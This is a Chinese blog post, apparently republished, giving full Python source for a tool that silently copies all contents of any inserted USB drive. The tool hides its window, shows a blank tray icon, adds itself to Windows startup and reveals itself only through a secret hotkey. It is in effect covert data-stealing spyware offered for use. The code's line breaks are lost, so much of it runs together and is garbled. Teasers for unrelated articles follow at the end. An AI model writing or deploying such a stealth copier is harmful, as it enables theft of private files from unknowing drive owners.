Python实现U盘数据自动拷贝

功能:当电脑上有U盘插入时,自动复制U盘内的所有内容

主要特点:
1、使用PyQt5创建图形界面,但默认隐藏
2、通过Ctrl+Alt+U组合键可以显示/隐藏界面
3、自动添加到Windows启动项
4、监控USB设备插入
5、按修改时间排序复制文件
6、静默运行,无提示
7、自动跳过无法复制的文件
8、配置文件保存目标路径

使用说明:
1、首次运行时,按Ctrl+Alt+U显示界面
2、点击"选择目标文件夹"按钮设置保存位置
3、设置完成后可以关闭界面,程序会在后台运行
4、插入U盘后会自动复制内容到指定文件夹

 静默界面:

实现代码:

import os
import sys
import time
import json
import shutil
import ctypes
from ctypes import wintypes
import win32file
import win32api
import win32con
import win32gui
import win32com.client
import pythoncom
import win32event
import winerror
from datetime import datetime
from threading import Thread
from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout, QPushButton, QFileDialog, QLabel, QSystemTrayIcon)
from PyQt5.QtCore import Qt, QTimer, QEvent
from PyQt5.QtGui import QIcon, QPixmapclass USBCopyTool(QMainWindow):def __init__(self):super().__init__()self.config_file = 'config.json'self.target_path = self.load_config()self.init_ui()self.setup_system_tray()self.setup_hotkey()# 添加窗口事件过滤器self.installEventFilter(self)# 启动USB监控线程self.monitor_thread = Thread(target=self.monitor_usb, daemon=True)self.monitor_thread.start()def init_ui(self):self.setWindowTitle('USB自动复制工具')self.setGeometry(300, 300, 400, 200)central_widget = QWidget()self.setCentralWidget(central_widget)layout = QVBoxLayout()self.path_label = QLabel(f'当前目标路径: {self.target_path}')layout.addWidget(self.path_label)select_btn = QPushButton('选择目标文件夹')select_btn.clicked.connect(self.select_target_path)layout.addWidget(select_btn)central_widget.setLayout(layout)self.hide()def setup_system_tray(self):self.tray_icon = QSystemTrayIcon(self)# 创建一个1x1的空白图标而不是完全没有图标blank_icon = QIcon()blank_icon.addPixmap(QPixmap(1, 1))self.tray_icon.setIcon(blank_icon)self.tray_icon.show()def setup_hotkey(self):# 注册全局热键 (Ctrl+Alt+U)self.hot_key_id = 1try:win32gui.RegisterHotKey(self.winId(), self.hot_key_id, win32con.MOD_CONTROL | win32con.MOD_ALT, ord('U'))except Exception as e:print(f"热键注册失败: {e}")def nativeEvent(self, eventType, message):try:if eventType == "windows_generic_MSG":msg = wintypes.MSG.from_address(message.__int__())if msg.message == win32con.WM_HOTKEY:if self.isVisible():self.hide()else:self.show()return True, 0except Exception as e:print(f"事件处理错误: {e}")return False, 0def load_config(self):try:with open(self.config_file, 'r') as f:config = json.load(f)return config.get('target_path', '')except:return ''def save_config(self):with open(self.config_file, 'w') as f:json.dump({'target_path': self.target_path}, f)def select_target_path(self):path = QFileDialog.getExistingDirectory(self, '选择目标文件夹')if path:self.target_path = pathself.path_label.setText(f'当前目标路径: {self.target_path}')self.save_config()def monitor_usb(self):drives_before = set(win32api.GetLogicalDriveStrings().split('\000')[:-1])print(f"初始驱动器: {drives_before}")while True:try:drives_now = set(win32api.GetLogicalDriveStrings().split('\000')[:-1])new_drives = drives_now - drives_beforeif new_drives:print(f"检测到新驱动器: {new_drives}")for drive in new_drives:drive_type = win32file.GetDriveType(drive)print(f"驱动器 {drive} 类型: {drive_type}")if drive_type == win32con.DRIVE_REMOVABLE:print(f"开始复制U盘 {drive} 内容")self.copy_usb_contents(drive)drives_before = drives_nowtime.sleep(1)except Exception as e:print(f"监控错误: {e}")time.sleep(1)def copy_usb_contents(self, drive):if not self.target_path:print("未设置目标路径")return# 获取U盘卷标名称try:volume_name = win32api.GetVolumeInformation(drive)[0]# 如果U盘没有卷标名称,则使用盘符if not volume_name:volume_name = os.path.splitdrive(drive)[0].rstrip(':\\')# 替换非法字符volume_name = ''.join(c for c in volume_name if c not in r'\/:*?"<>|')except Exception as e:print(f"获取卷标名称失败: {e}")volume_name = os.path.splitdrive(drive)[0].rstrip(':\\')target_folder = os.path.join(self.target_path, volume_name)print(f"复制到目标文件夹: {target_folder}")if not os.path.exists(target_folder):os.makedirs(target_folder)# 获取所有文件并按修改时间排序all_files = []try:for root, dirs, files in os.walk(drive):print(f"扫描目录: {root}")for file in files:file_path = os.path.join(root, file)try:mtime = os.path.getmtime(file_path)all_files.append((file_path, mtime))except Exception as e:print(f"无法获取文件信息: {file_path}, 错误: {e}")continueexcept Exception as e:print(f"扫描目录失败: {e}")all_files.sort(key=lambda x: x[1], reverse=True)print(f"找到 {len(all_files)} 个文件")# 复制文件for file_path, _ in all_files:try:rel_path = os.path.relpath(file_path, drive)target_path = os.path.join(target_folder, rel_path)target_dir = os.path.dirname(target_path)if not os.path.exists(target_dir):os.makedirs(target_dir)print(f"复制文件: {file_path} -> {target_path}")shutil.copy2(file_path, target_path)except Exception as e:print(f"复制失败: {file_path}, 错误: {e}")continuedef eventFilter(self, obj, event):if obj is self and event.type() == QEvent.WindowStateChange:if self.windowState() & Qt.WindowMinimized:# 延迟执行隐藏操作,避免界面闪烁QTimer.singleShot(0, self.hide)# 恢复窗口状态,这样下次显示时是正常状态self.setWindowState(Qt.WindowNoState)return Truereturn super().eventFilter(obj, event)def add_to_startup():try:startup_path = os.path.join(os.getenv('APPDATA'), r'Microsoft\Windows\Start Menu\Programs\Startup')script_path = os.path.abspath(sys.argv[0])shortcut_path = os.path.join(startup_path, 'USBCopyTool.lnk')shell = win32com.client.Dispatch("WScript.Shell")shortcut = shell.CreateShortCut(shortcut_path)shortcut.Targetpath = script_pathshortcut.WorkingDirectory = os.path.dirname(script_path)shortcut.save()except Exception as e:print(f"添加到启动项失败: {e}")if __name__ == '__main__':# 确保只运行一个实例mutex = win32event.CreateMutex(None, 1, 'USBCopyTool_Mutex')if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:mutex = Nonesys.exit(0)add_to_startup()app = QApplication(sys.argv)tool = USBCopyTool()sys.exit(app.exec_()) 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/9232.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[c语言日寄]越界访问:意外的死循环

【作者主页】siy2333 【专栏介绍】⌈c语言日寄⌋&#xff1a;这是一个专注于C语言刷题的专栏&#xff0c;精选题目&#xff0c;搭配详细题解、拓展算法。从基础语法到复杂算法&#xff0c;题目涉及的知识点全面覆盖&#xff0c;助力你系统提升。无论你是初学者&#xff0c;还是…

数据分析系列--①RapidMiner软件安装

目录 一、软件下载及账号注册 1.软件下载 1.1 CSDN下载国内下载,国内镜像相对快,点击下载 1.2 官网软件下载地址:AI Studio 2025.0 ,服务器在国外相对较慢. 2.软件注册 2.1 点击 注册界面 开始注册,如图: 3.邮箱验证 二、软件安装 1. 新年文件夹,名字最好为英文名 2. 双…

新增文章功能

总说 过程参考黑马程序员SpringBoot3Vue3全套视频教程&#xff0c;springbootvue企业级全栈开发从基础、实战到面试一套通关_哔哩哔哩_bilibili 之前又偷懒几天。回老家没事干&#xff0c;玩也玩不好&#xff0c;一玩老是被家里人说。写代码吧还是&#xff0c;他们都看不懂&a…

LangGraph系列-1:用LangGraph构建简单聊天机器人

在快速发展的人工智能和大型语言模型&#xff08;llm&#xff09;世界中&#xff0c;开发人员不断寻求创建更灵活、更强大、更直观的人工智能代理的方法。 虽然LangChain已经改变了这个领域的游戏规则&#xff0c;允许创建复杂的链和代理&#xff0c;但对代理运行时的更复杂控制…

二叉树的最大深度(遍历思想+分解思想)

Problem: 104. 二叉树的最大深度 文章目录 题目描述思路复杂度Code 题目描述 思路 遍历思想(实则二叉树的先序遍历) 1.欲望求出最大的深度&#xff0c;先可以记录一个变量res&#xff0c;同时记录每次当前节点所在的层数depth 2.在递的过程中&#xff0c;每次递一层&#xff0…

QT+mysql+python 效果:

# This Python file uses the following encoding: utf-8 import sysfrom PySide6.QtWidgets import QApplication, QWidget,QMessageBox from PySide6.QtGui import QStandardItemModel, QStandardItem # 导入需要的类# Important: # 你需要通过以下指令把 form.ui转为ui…

WSL 安装cuDNN

WSL 安装cuDNN 参考文档&#xff1a;https://docs.nvidia.com/deeplearning/cudnn/installation/latest/linux.html#verifying-the-install-on-linux 1. 下载相应包 根据下方下载地址进入下载界面&#xff0c;并选择与自己电脑相对应的平台执行图中的命令 下载地址&#xff1…

58.界面参数传递给Command C#例子 WPF例子

界面参数的传递&#xff0c;界面参数是如何从前台传送到后台的。 param 参数是从界面传递到命令的。这个过程通常涉及以下几个步骤&#xff1a; 数据绑定&#xff1a;界面元素&#xff08;如按钮&#xff09;的 Command 属性绑定到视图模型中的 RelayCommand 实例。同时&#x…

阿里云域名备案

一、下载阿里云App 手机应用商店搜索"阿里云",点击安装。 二、登录阿里云账号 三、打开"ICP备案" 点击"运维"页面的"ICP备案"。 四、点击"新增网站/App" 若无备案信息,则先新增备案信息。 五、开始备案

sunrays-framework配置重构

文章目录 1.common-log4j2-starter1.目录结构2.Log4j2Properties.java 新增两个属性3.Log4j2AutoConfiguration.java 条件注入LogAspect4.ApplicationEnvironmentPreparedListener.java 从Log4j2Properties.java中定义的配置读取信息 2.common-minio-starter1.MinioProperties.…

如何解决跨浏览器兼容性问题

跨浏览器兼容性问题是指同一网页在不同浏览器中呈现效果不一致,通常由于浏览器渲染引擎、CSS支持、JavaScript执行等差异导致。解决这类问题可以从以下几个方面入手: 一、使用标准化的HTML和CSS 确保你的网页符合W3C标准。浏览器会尽量遵循这些标准,所以通过标准化的代码可…

算法12(力扣739)-每日温度

1、问题 给定一个整数数组 temperatures &#xff0c;表示每天的温度&#xff0c;返回一个数组 answer &#xff0c;其中 answer[i] 是指对于第 i 天&#xff0c;下一个更高温度出现在几天后。如果气温在这之后都不会升高&#xff0c;请在该位置用 0 来代替。 2、示例 &#…

54.数字翻译成字符串的可能性|Marscode AI刷题

1.题目 问题描述 小M获得了一个任务&#xff0c;需要将数字翻译成字符串。翻译规则是&#xff1a;0对应"a"&#xff0c;1对应"b"&#xff0c;依此类推直到25对应"z"。一个数字可能有多种翻译方法。小M需要一个程序来计算一个数字有多少种不同的…

立创开发板入门ESP32C3第八课 修改AI大模型接口为deepseek3接口

#原代码用的AI模型是minimax的API接口&#xff0c;现在试着改成最热门的deepseek3接口。# 首先按理解所得&#xff0c;在main文件夹下&#xff0c;有minimax.c和minimax.h, 它们是这个API接口的头文件和实现文件&#xff0c;然后在main.c中被调用。所以我们一步步更改。 申请…

数据分析系列--③RapidMiner算子说明及数据预处理

一、算子说明 1.新建过程 2.算子状态灯 状态灯说明: (1)状态指示灯&#xff1a; 红色:指示灯说明有参数未被设置或输入端口未被连接等问题; 黄色:指示灯说明还未执行算子&#xff0c;不管配置是否基本齐全; 绿色:指示灯说明一切正常&#xff0c;已成功执行算子。 (2)三角…

Airflow:精通Airflow任务依赖

任务依赖关系是任何工作流管理系统的核心概念&#xff0c;Apache Airflow也不例外。它们确定在工作流中执行任务的顺序和条件&#xff0c;确保以正确的顺序完成任务&#xff0c;并确保在相关任务开始之前成功完成先决任务。在本文中我们将探讨Apache Airflow中的任务依赖关系&a…

关于WPF中ComboBox文本查询功能

一种方法是使用事件&#xff08;包括MVVM的绑定&#xff09; <ComboBox TextBoxBase.TextChanged"ComboBox_TextChanged" /> 然而运行时就会发现&#xff0c;这个事件在疯狂的触发&#xff0c;很频繁 在实际应用中&#xff0c;如果关联查询数据库&#xff0…

python——Django 框架

Django 框架 1、简介 Django 是用python语言写的开源web开发框架&#xff0c;并遵循MVC设计。 Django的**主要目的是简便、快速的开发数据库驱动的网站。**它强调代码复用&#xff0c;多个组件可以很方便的以"插件"形式服务于整个框架&#xff0c;Django有许多功能…

(开源)基于Django+Yolov8+Tensorflow的智能鸟类识别平台

1 项目简介&#xff08;开源地址在文章结尾&#xff09; 系统旨在为了帮助鸟类爱好者、学者、动物保护协会等群体更好的了解和保护鸟类动物。用户群体可以通过平台采集野外鸟类的保护动物照片和视频&#xff0c;甄别分类、实况分析鸟类保护动物&#xff0c;与全世界各地的用户&…

DeepSeek R1学习

0.回顾&#xff1a; https://blog.csdn.net/Together_CZ/article/details/144431432?ops_request_misc%257B%2522request%255Fid%2522%253A%25226574a586f0850d0329fbb720e5b8d5a9%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id…